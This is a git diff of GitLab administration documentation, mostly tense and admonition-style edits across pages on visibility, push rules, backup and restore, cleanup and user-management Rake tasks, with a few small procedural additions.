@@ -51,7 +51,7 @@ They will appear in the public access directory (`/public`) for project members
## Visibility of groups
-NOTE: **Note:**
+NOTE:
[Starting with](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3323) GitLab 8.6,
the group visibility has changed and can be configured the same way as projects.
In previous versions, a group's page was always visible to all users.
@@ -59,7 +59,7 @@ In previous versions, a group's page was always visible to all users.
Like with projects, the visibility of a group can be set to dictate whether
anonymous users, all signed in users, or only explicit group members can view
it. The restriction for visibility levels on the application setting level also
-applies to groups, so if that's set to internal, the explore page will be empty
+applies to groups, so if that's set to internal, the explore page is empty
for anonymous users. The group page now has a visibility level icon.
Admin users cannot create subgroups or projects with higher visibility level than that of the immediate parent group.
@@ -96,7 +96,7 @@ For details, see [Restricted visibility levels](../user/admin_area/settings/visi
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33358) in GitLab 12.6.
-Reducing a project's visibility level will remove the fork relationship between the project and
+Reducing a project's visibility level removes the fork relationship between the project and
any forked project. This is a potentially destructive action which requires confirmation before
this can be saved.
diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md
index d2ec157788a..99a5ac8ed3b 100644
--- a/doc/push_rules/push_rules.md
+++ b/doc/push_rules/push_rules.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -75,7 +75,7 @@ See [server hooks](../administration/server_hooks.md) for more information.
## Enabling push rules
-NOTE: **Note:**
+NOTE:
GitLab administrators can set push rules globally under
**Admin Area > Push Rules** that all new projects will inherit. You can later
override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules).
@@ -100,7 +100,7 @@ The following options are available.
| Prohibited file names | **Starter** 7.10 | Any committed filenames that match this regular expression and do not already exist in the repository are not allowed to be pushed. Leave empty to allow any filenames. See [common examples](#prohibited-file-names). |
| Maximum file size | **Starter** 7.12 | Pushes that contain added or updated files that exceed this file size (in MB) are rejected. Set to 0 to allow files of any size. Files tracked by Git LFS are exempted. |
-TIP: **Tip:**
+NOTE:
GitLab uses [RE2 syntax](https://github.com/google/re2/wiki/Syntax) for regular expressions in push rules, and you can test them at the [regex101 regex tester](https://regex101.com/).
## Prevent pushing secrets to the repository
@@ -116,7 +116,7 @@ pushes to the repository when a file matches a regular expression as read from
[`files_denylist.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/gitlab/checks/files_denylist.yml) (make sure you are at the right branch
as your GitLab version when viewing this file).
-NOTE: **Note:**
+NOTE:
Files already committed won't get restricted by this push rule.
Below is an example list of what will be rejected by these regular expressions:
diff --git a/doc/raketasks/README.md b/doc/raketasks/README.md
index 4d2185c62f2..a42bf2a5d91 100644
--- a/doc/raketasks/README.md
+++ b/doc/raketasks/README.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
@@ -42,6 +42,7 @@ The following are available Rake tasks:
| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. |
| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between storage local and object storage. |
| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. |
+| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/product_analytics/usage_ping.md).|
| [User management](user_management.md) | Perform user management tasks. |
| [Webhooks administration](web_hooks.md) | Maintain project Webhooks. |
| [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, useful if certificate store has changed. |
diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md
index a06fe00ef0d..03ffd6bd6ad 100644
--- a/doc/raketasks/backup_restore.md
+++ b/doc/raketasks/backup_restore.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Back up and restore GitLab **(CORE ONLY)**
@@ -15,8 +15,8 @@ You can only restore a backup to **exactly the same version and type (CE/EE)**
of GitLab on which it was created. The best way to migrate your repositories
from one server to another is through backup restore.
-CAUTION: **Warning:**
-GitLab won't back up items that aren't stored in the filesystem. If you're
+WARNING:
+GitLab doesn't back up items that aren't stored in the filesystem. If you're
using [object storage](../administration/object_storage.md), be sure to enable
backups with your object storage provider, if desired.
@@ -38,8 +38,8 @@ system. If you installed GitLab:
## Backup timestamp
-The backup archive will be saved in `backup_path`, which is specified in the
-`config/gitlab.yml` file. The filename will be `[TIMESTAMP]_gitlab_backup.tar`,
+The backup archive is saved in `backup_path`, which is specified in the
+`config/gitlab.yml` file. The filename is `[TIMESTAMP]_gitlab_backup.tar`,
where `TIMESTAMP` identifies the time at which each backup was created, plus
the GitLab version. The timestamp is needed if you need to restore GitLab and
multiple backups are available.
@@ -62,7 +62,7 @@ including:
- GitLab Pages content
- Snippets
-CAUTION: **Warning:**
+WARNING:
GitLab does not back up any configuration files, SSL certificates, or system
files. You are highly advised to read about [storing configuration files](#storing-configuration-files).
@@ -112,8 +112,8 @@ kubectl exec -it <gitlab task-runner pod> backup-utility
```
Similar to the Kubernetes case, if you have scaled out your GitLab cluster to
-use multiple application servers, you should pick a designated node (that won't
-be auto-scaled away) for running the backup Rake task. Because the backup Rake
+use multiple application servers, you should pick a designated node (that isn't
+auto-scaled away) for running the backup Rake task. Because the backup Rake
task is tightly coupled to the main Rails application, this is typically a node
on which you're also running Unicorn/Puma or Sidekiq.
@@ -154,7 +154,7 @@ items including encrypted information for two-factor authentication and the
CI/CD _secure variables_. Storing encrypted information in the same location
as its key defeats the purpose of using encryption in the first place.
-CAUTION: **Warning:**
+WARNING:
The secrets file is essential to preserve your database encryption key.
At the very **minimum**, you must backup:
@@ -200,11 +200,11 @@ data locations to the backup using the Linux command `tar` and `gzip`. This work
fine in most cases, but can cause problems when data is rapidly changing.
When data changes while `tar` is reading it, the error `file changed as we read
-it` may occur, and will cause the backup process to fail. To combat this, 8.17
+it` may occur, and causes the backup process to fail. To combat this, 8.17
introduces a new backup strategy called `copy`. The strategy copies data files
to a temporary location before calling `tar` and `gzip`, avoiding the error.
-A side-effect is that the backup process will take up to an additional 1X disk
+A side-effect is that the backup process takes up to an additional 1X disk
space. The process does its best to clean up the temporary files at each stage
so the problem doesn't compound, but it could be a considerable change for large
installations. This is why the `copy` strategy is not the default in 8.17.
@@ -220,8 +220,8 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back
#### Backup filename
-CAUTION: **Warning:**
-If you use a custom backup filename, you will not be able to
+WARNING:
+If you use a custom backup filename, you can't
[limit the lifetime of the backups](#limit-backup-lifetime-for-local-files-prune-old-backups).
By default, a backup file is created according to the specification in the
@@ -235,8 +235,8 @@ sudo gitlab-backup create BACKUP=dump
Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:backup:create` instead.
-The resulting file will then be `dump_gitlab_backup.tar`. This is useful for
-systems that make use of rsync and incremental backups, and will result in
+The resulting file is named `dump_gitlab_backup.tar`. This is useful for
+systems that make use of rsync and incremental backups, and results in
considerably faster transfer speeds.
#### Rsyncable
@@ -257,22 +257,25 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back
#### Excluding specific directories from the backup
-You can choose what should be exempt from the backup by adding the environment
-variable `SKIP`. The available options are:
+You can exclude specific directories from the backup by adding the environment variable `SKIP`, whose values are a comma-separated list of the following options:
- `db` (database)
- `uploads` (attachments)
-- `repositories` (Git repositories data)
- `builds` (CI job output logs)
- `artifacts` (CI job artifacts)
- `lfs` (LFS objects)
- `registry` (Container Registry images)
- `pages` (Pages content)
+- `repositories` (Git repositories data)
-Use a comma to specify several options at the same time:
+All wikis are backed up as part of the `repositories` group. Non-existent wikis are skipped during a backup.
-All wikis will be backed up as part of the `repositories` group. Non-existent
-wikis will be skipped during a backup.
+NOTE:
+When [backing up and restoring Helm Charts](https://docs.gitlab.com/charts/architecture/backup-restore.html), there is an additional option `packages`, which refers to any packages managed by the GitLab [package registry](../user/packages/package_registry/index.md).
+For more information see [command line arguments](https://docs.gitlab.com/charts/architecture/backup-restore.html#command-line-arguments).
+
+All wikis are backed up as part of the `repositories` group. Non-existent
+wikis are skipped during a backup.
For Omnibus GitLab packages:
@@ -297,7 +300,7 @@ harmful, so you can skip this step by adding `tar` to the `SKIP` environment
variable.
Adding `tar` to the `SKIP` variable leaves the files and directories containing the
-backup in the directory used for the intermediate files. These files will be
+backup in the directory used for the intermediate files. These files are
overwritten when a new backup is created, so you should make sure they are copied
elsewhere, because you can only have one backup on the system.
@@ -454,7 +457,7 @@ For installations from source:
1. [Restart GitLab](../administration/restart_gitlab.md#installations-from-source)
for the changes to take effect
-If you're uploading your backups to S3, you'll probably want to create a new
+If you're uploading your backups to S3, you should create a new
IAM user with restricted access rights. To give the upload user access only for
uploading backups create the following IAM profile, replacing `my.s3.bucket`
with the name of your bucket:
@@ -620,11 +623,11 @@ as (for Omnibus packages, this is the `git` user).
The `backup_upload_remote_directory` _must_ be set in addition to the
`local_root` key. This is the sub directory inside the mounted directory that
-backups will be copied to, and will be created if it does not exist. If the
+backups are copied to, and is created if it does not exist. If the
directory that you want to copy the tarballs to is the root of your mounted
directory, use `.` instead.
-Because file system performance may affect GitLab's overall performance,
+Because file system performance may affect overall GitLab performance,
[GitLab doesn't recommend using EFS for storage](../administration/nfs.md#avoid-using-awss-elastic-file-system-efs).
For Omnibus GitLab packages:
@@ -667,8 +670,8 @@ For installations from source:
#### Backup archive permissions
The backup archives created by GitLab (`1393513186_2014_02_27_gitlab_backup.tar`)
-will have owner/group `git`/`git` and 0600 permissions by default. This is
-meant to avoid other system users reading GitLab's data. If you need the backup
+have the owner/group `git`/`git` and 0600 permissions by default. This is
+meant to avoid other system users reading GitLab data. If you need the backup
archives to have different permissions, you can use the `archive_permissions`
setting.
@@ -697,7 +700,7 @@ For installations from source:
#### Configuring cron to make daily backups
-CAUTION: **Warning:**
+WARNING:
The following cron jobs do not [backup your GitLab configuration files](#storing-configuration-files)
or [SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079).
@@ -740,8 +743,8 @@ output if there aren't any errors. This is recommended to reduce cron spam.
### Limit backup lifetime for local files (prune old backups)
-CAUTION: **Warning:**
-The process described in this section will not work if you used a [custom filename](#backup-filename)
+WARNING:
+The process described in this section don't work if you used a [custom filename](#backup-filename)
for your backups.
To prevent regular backups from using all your disk space, you may want to set a limited lifetime
@@ -791,8 +794,8 @@ once before attempting to perform it in a production environment.
You can restore a backup only to _the exact same version and type (CE/EE)_ of
GitLab that you created it on (for example CE 9.1.0).
-If your backup is a different version than the current installation, you'll
-need to [downgrade your GitLab installation](https://docs.gitlab.com/omnibus/update/README.html#downgrade)
+If your backup is a different version than the current installation, you must
+[downgrade your GitLab installation](https://docs.gitlab.com/omnibus/update/README.html#downgrade)
before restoring the backup.
### Restore prerequisites
@@ -800,17 +803,17 @@ before restoring the backup.
You need to have a working GitLab installation before you can perform a
restore. This is because the system user performing the restore actions (`git`)
is usually not allowed to create or delete the SQL database needed to import
-data into (`gitlabhq_production`). All existing data will be either erased
+data into (`gitlabhq_production`). All existing data is either erased
(SQL) or moved to a separate directory (such as repositories and uploads).
-To restore a backup, you'll also need to restore `/etc/gitlab/gitlab-secrets.json`
+To restore a backup, you must restore `/etc/gitlab/gitlab-secrets.json`
(for Omnibus packages) or `/home/git/gitlab/.secret` (for installations from
source). This file contains the database encryption key,
[CI/CD variables](../ci/variables/README.md#gitlab-cicd-environment-variables), and
variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md).
If you fail to restore this encryption key file along with the application data
-backup, users with two-factor authentication enabled and GitLab Runner will
-lose access to your GitLab server.
+backup, users with two-factor authentication enabled and GitLab Runner
+loses access to your GitLab server.
You may also want to restore any TLS keys, certificates, or
[SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079).
@@ -825,7 +828,7 @@ more of the following options:
- `BACKUP=timestamp_of_backup`: Required if more than one backup exists.
Read what the [backup timestamp is about](#backup-timestamp).
- `force=yes`: Doesn't ask if the authorized_keys file should get regenerated,
- and assumes 'yes' for warning that database tables will be removed,
+ and assumes 'yes' for warning about database tables being removed,
enabling the "Write to authorized_keys file" setting, and updating LDAP
providers.
@@ -837,11 +840,22 @@ Read more about [configuring NFS mounts](../administration/nfs.md)
### Restore for installation from source
+First, ensure your backup tar file is in the backup directory described in the
+`gitlab.yml` configuration:
+
+```yaml
+## Backup settings
+backup:
+ path: "tmp/backups" # Relative paths are relative to Rails.root (default: tmp/backups/)
+```
+
+The default is `/home/git/gitlab/tmp/backups`, and it needs to be owned by the `git` user. Now, you can begin the backup procedure:
+
```shell
# Stop processes that are connected to the database
sudo service gitlab stop
-bundle exec rake gitlab:backup:restore RAILS_ENV=production
+sudo -u git -H bundle exec rake gitlab:backup:restore RAILS_ENV=production
```
Example output:
@@ -923,7 +937,7 @@ sudo gitlab-backup restore BACKUP=11493107454_2018_04_25_10.6.4-ce
Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:backup:restore` instead.
-CAUTION: **Warning:**
+WARNING:
`gitlab-rake gitlab:backup:restore` doesn't set the correct file system
permissions on your Registry directory. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62759).
On GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this
@@ -945,7 +959,7 @@ installed version of GitLab, the restore command aborts with an error
message. Install the [correct GitLab version](https://packages.gitlab.com/gitlab/),
and then try again.
-NOTE: **Note:**
+NOTE:
There is a known issue with restore not working with `pgbouncer`. [Read more about backup and restore with `pgbouncer`](#backup-and-restore-for-installations-using-pgbouncer).
### Restore for Docker image and GitLab Helm chart installations
@@ -985,7 +999,7 @@ docker exec -it <name of container> gitlab-rake gitlab:check SANITIZE=true
Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:backup:create` instead.
-CAUTION: **Warning:**
+WARNING:
`gitlab-rake gitlab:backup:restore` doesn't set the correct file system
permissions on your Registry directory. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62759).
On GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this
@@ -1033,7 +1047,7 @@ Example: LVM snapshots + rsync
> A GitLab server using Omnibus GitLab, with an LVM logical volume mounted at `/var/opt/gitlab`.
> Replicating the `/var/opt/gitlab` directory using rsync would not be reliable because too many files would change while rsync is running.
> Instead of rsync-ing `/var/opt/gitlab`, we create a temporary LVM snapshot, which we mount as a read-only filesystem at `/mnt/gitlab_backup`.
-> Now we can have a longer running rsync job which will create a consistent replica on the remote server.
+> Now we can have a longer running rsync job which creates a consistent replica on the remote server.
> The replica includes all repositories, uploads and PostgreSQL data.
If you're running GitLab on a virtualized server, you can possibly also create
@@ -1045,7 +1059,7 @@ practical use.
Do NOT backup or restore GitLab through a PgBouncer connection. These
tasks must [bypass PgBouncer and connect directly to the PostgreSQL primary database node](#bypassing-pgbouncer),
-or they will cause a GitLab outage.
+or they cause a GitLab outage.
When the GitLab backup or restore task is used with PgBouncer, the
following error message is shown:
@@ -1170,7 +1184,7 @@ unexpected behaviors, such as:
In this case, you must reset all the tokens for CI/CD variables and
runner authentication, which is described in more detail in the following
sections. After resetting the tokens, you should be able to visit your project
-and the jobs will have started running again.
+and the jobs begin running again.
Use the information in the following sections at your own risk.
@@ -1183,7 +1197,7 @@ You can determine if you have undecryptable values in the database by using the
You must directly modify GitLab data to work around your lost secrets file.
-CAUTION: **Warning:**
+WARNING:
Be sure to create a full database backup before attempting any changes.
#### Disable user two-factor authentication (2FA)
@@ -1244,7 +1258,7 @@ You may need to reconfigure or restart GitLab for the changes to take effect.
1. Clear all tokens for projects, groups, and the entire instance:
- CAUTION: **Caution:**
+ WARNING:
The final `UPDATE` operation stops the runners from being able to pick
up new jobs. You must register new runners.
diff --git a/doc/raketasks/check.md b/doc/raketasks/check.md
index ceb089e80c0..1a8149ca04a 100644
--- a/doc/raketasks/check.md
+++ b/doc/raketasks/check.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/raketasks/check.md'
---
This document was moved to [another location](../administration/raketasks/check.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/raketasks/cleanup.md b/doc/raketasks/cleanup.md
index 00a3e9196e2..0c184aa0075 100644
--- a/doc/raketasks/cleanup.md
+++ b/doc/raketasks/cleanup.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Clean up **(CORE ONLY)**
@@ -12,13 +12,13 @@ GitLab provides Rake tasks for cleaning up GitLab instances.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36628) in GitLab 12.10.
-DANGER: **Warning:**
+WARNING:
Do not run this within 12 hours of a GitLab upgrade. This is to ensure that all background migrations
have finished, which otherwise may lead to data loss.
When you remove LFS files from a repository's history, they become orphaned and continue to consume
disk space. With this Rake task, you can remove invalid references from the database, which
-will allow garbage collection of LFS files.
+allows garbage collection of LFS files.
For example:
@@ -44,7 +44,7 @@ By default, this task does not delete anything but shows how many file reference
delete. Run the command with `DRY_RUN=false` if you actually want to
delete the references. You can also use `LIMIT={number}` parameter to limit the number of deleted references.
-Note that this Rake task only removes the references to LFS files. Unreferenced LFS files will be garbage-collected
+Note that this Rake task only removes the references to LFS files. Unreferenced LFS files are garbage-collected
later (once a day). If you need to garbage collect them immediately, run
`rake gitlab:cleanup:orphan_lfs_files` described below.
@@ -148,8 +148,8 @@ I, [2018-08-02T10:26:47.764356 #45087] INFO -- : Moved to lost and found: @hash
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29681) in GitLab 12.1.
> - [`ionice` support fixed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28023) in GitLab 12.10.
-NOTE: **Note:**
-These commands will not work for artifacts stored on
+NOTE:
+These commands don't work for artifacts stored on
[object storage](../administration/object_storage.md).
When you notice there are more job artifacts files and/or directories on disk than there
@@ -179,10 +179,10 @@ You can also limit the number of files to delete with `LIMIT`:
sudo gitlab-rake gitlab:cleanup:orphan_job_artifact_files LIMIT=100
```
-This will only delete up to 100 files from disk. You can use this to
-delete a small set for testing purposes.
+This deletes only up to 100 files from disk. You can use this to delete a small
+set for testing purposes.
-If you provide `DEBUG=1`, you'll see the full path of every file that
+Providing `DEBUG=1` displays the full path of every file that
is detected as being an orphan.
If `ionice` is installed, the tasks uses it to ensure the command is
diff --git a/doc/raketasks/features.md b/doc/raketasks/features.md
index ecdf6aee069..bf67522c256 100644
--- a/doc/raketasks/features.md
+++ b/doc/raketasks/features.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Namespaces **(CORE ONLY)**
@@ -10,13 +10,12 @@ This Rake task enables [namespaces](../user/group/index.md#namespaces) for proje
## Enable usernames and namespaces for user projects
-This command will enable the namespaces feature introduced in GitLab 4.0. It will move every project in its namespace folder.
+This command enables the namespaces feature introduced in GitLab 4.0. It moves every project in its namespace folder.
-Note:
+The **repository location changes as part of this task**, so you must **update all your Git URLs** to
+point to the new location.
-- The **repository location will change**, so you will need to **update all your Git URLs** to
- point to the new location.
-- The username can be changed at **Profile > Account**.
+The username can be changed at **Profile > Account**.
For example:
diff --git a/doc/raketasks/generate_sample_prometheus_data.md b/doc/raketasks/generate_sample_prometheus_data.md
index f37aa95c63b..9dbdf053693 100644
--- a/doc/raketasks/generate_sample_prometheus_data.md
+++ b/doc/raketasks/generate_sample_prometheus_data.md
@@ -1,12 +1,12 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Generate sample Prometheus data **(CORE ONLY)**
-This command will run Prometheus queries for each of the metrics of a specific environment
+This command runs Prometheus queries for each of the metrics of a specific environment
for a series of time intervals to now:
- 30 minutes
diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md
index ecd777361a7..648cd784c1b 100644
--- a/doc/raketasks/import.md
+++ b/doc/raketasks/import.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import bare repositories **(CORE ONLY)**
@@ -13,13 +13,13 @@ please use [our project-based import/export](../user/project/settings/import_exp
Note that:
-- The owner of the project will be the first administrator.
-- The groups will be created as needed, including subgroups.
-- The owner of the group will be the first administrator.
-- Existing projects will be skipped.
+- The owner of the project is the first administrator.
+- The groups are created as needed, including subgroups.
+- The owner of the group is the first administrator.
+- Existing projects are skipped.
- Projects in hashed storage may be skipped. For more information, see
[Importing bare repositories from hashed storage](#importing-bare-repositories-from-hashed-storage).
-- The existing Git repositories will be moved from disk (removed from the original path).
+- The existing Git repositories ware moved from disk (removed from the original path).
To import bare repositories into a GitLab instance:
@@ -35,8 +35,8 @@ To import bare repositories into a GitLab instance:
1. Copy your bare repositories inside this newly created folder. Note:
- - Any `.git` repositories found on any of the subfolders will be imported as projects.
- - Groups will be created as needed, these could be nested folders.
+ - Any `.git` repositories found on any of the subfolders are imported as projects.
+ - Groups are created as needed, these could be nested folders.
For example, if we copy the repositories to `/var/opt/gitlab/git-data/repository-import-2020-08-22`,
and repository `A` needs to be under the groups `G1` and `G2`, it must be created under those folders:
diff --git a/doc/raketasks/list_repos.md b/doc/raketasks/list_repos.md
index 192a65f6a62..e2442df3418 100644
--- a/doc/raketasks/list_repos.md
+++ b/doc/raketasks/list_repos.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Listing repository directories **(CORE ONLY)**
diff --git a/doc/raketasks/maintenance.md b/doc/raketasks/maintenance.md
index f554a09d94d..b6d530256a7 100644
--- a/doc/raketasks/maintenance.md
+++ b/doc/raketasks/maintenance.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/raketasks/maintenance.md'
---
This document was moved to [another location](../administration/raketasks/maintenance.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/raketasks/migrate_snippets.md b/doc/raketasks/migrate_snippets.md
index e36ad5184ad..8050a8a38e5 100644
--- a/doc/raketasks/migrate_snippets.md
+++ b/doc/raketasks/migrate_snippets.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migration to Versioned Snippets **(CORE ONLY)**
diff --git a/doc/raketasks/spdx.md b/doc/raketasks/spdx.md
index 19ec0397179..fe7ac13c463 100644
--- a/doc/raketasks/spdx.md
+++ b/doc/raketasks/spdx.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# SPDX license list import **(PREMIUM ONLY)**
diff --git a/doc/raketasks/user_management.md b/doc/raketasks/user_management.md
index a0a880eac51..6df978b2efd 100644
--- a/doc/raketasks/user_management.md
+++ b/doc/raketasks/user_management.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# User management **(CORE ONLY)**
@@ -58,9 +58,23 @@ sudo gitlab-rake gitlab:import:all_users_to_all_groups
bundle exec rake gitlab:import:all_users_to_all_groups RAILS_ENV=production
```
-Admin users are added as owners so they can add additional users to the group.
+Administrators are added as owners so they can add additional users to the group.
-## Control the number of active users
+## Update all users in a given group to `project_limit:0` and `can_create_group: false`
+
+To update all users in given group to `project_limit: 0` and `can_create_group: false`, run:
+
+```shell
+# omnibus-gitlab
+sudo gitlab-rake gitlab:user_management:disable_project_and_group_creation\[:group_id\]
+
+# installation from source
+bundle exec rake gitlab:user_management:disable_project_and_group_creation\[:group_id\] RAILS_ENV=production
+```
+
+It updates all users in the given group, its subgroups and projects in this group namespace, with the noted limits.
+
+## Control the number of billable users
Enable this setting to keep new users blocked until they have been cleared by the administrator.
Defaults to `false`:
@@ -72,7 +86,7 @@ block_auto_created_users: false
## Disable two-factor authentication for all users
This task disables two-factor authentication (2FA) for all users that have it enabled. This can be
-useful if GitLab's `config/secrets.yml` file has been lost and users are unable
+useful if the GitLab `config/secrets.yml` file has been lost and users are unable
to log in, for example.
To disable two-factor authentication for all users, run:
@@ -98,11 +112,11 @@ the leaked key without forcing all users to change their 2FA details.
To rotate the two-factor authentication encryption key:
1. Look up the old key. This is in the `config/secrets.yml` file, but **make sure you're working
- with the production section**. The line you're interested in will look like this:
+ with the production section**. The line you're interested in looks like this:
```yaml
production:
- otp_key_base: ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ otp_key_base: fffffffffffffffffffffffffffffffffffffffffffffff
```
1. Generate a new secret:
@@ -130,7 +144,7 @@ To rotate the two-factor authentication encryption key:
```
The `<old key>` value can be read from `config/secrets.yml` (`<new key>` was
- generated earlier). The **encrypted** values for the user 2FA secrets will be
+ generated earlier). The **encrypted** values for the user 2FA secrets are
written to the specified `filename`. You can use this to rollback in case of
error.
diff --git a/doc/raketasks/web_hooks.md b/doc/raketasks/web_hooks.md
index 769a5ebae3a..1f40c60e23d 100644
--- a/doc/raketasks/web_hooks.md
+++ b/doc/raketasks/web_hooks.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Webhooks administration **(CORE ONLY)**
diff --git a/doc/raketasks/x509_signatures.md b/doc/raketasks/x509_signatures.md
index 79770a56808..a98f0af8cd8 100644
--- a/doc/raketasks/x509_signatures.md
+++ b/doc/raketasks/x509_signatures.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# X.509 signatures **(CORE ONLY)**
diff --git a/doc/security/README.md b/doc/security/README.md
index a8947ef3de9..3b64d0229ed 100644
--- a/doc/security/README.md
+++ b/doc/security/README.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index
---
diff --git a/doc/security/asset_proxy.md b/doc/security/asset_proxy.md
index 7eb6d5067e2..613743143d3 100644
--- a/doc/security/asset_proxy.md
+++ b/doc/security/asset_proxy.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Proxying assets
@@ -10,7 +10,7 @@ A possible security concern when managing a public facing GitLab instance is
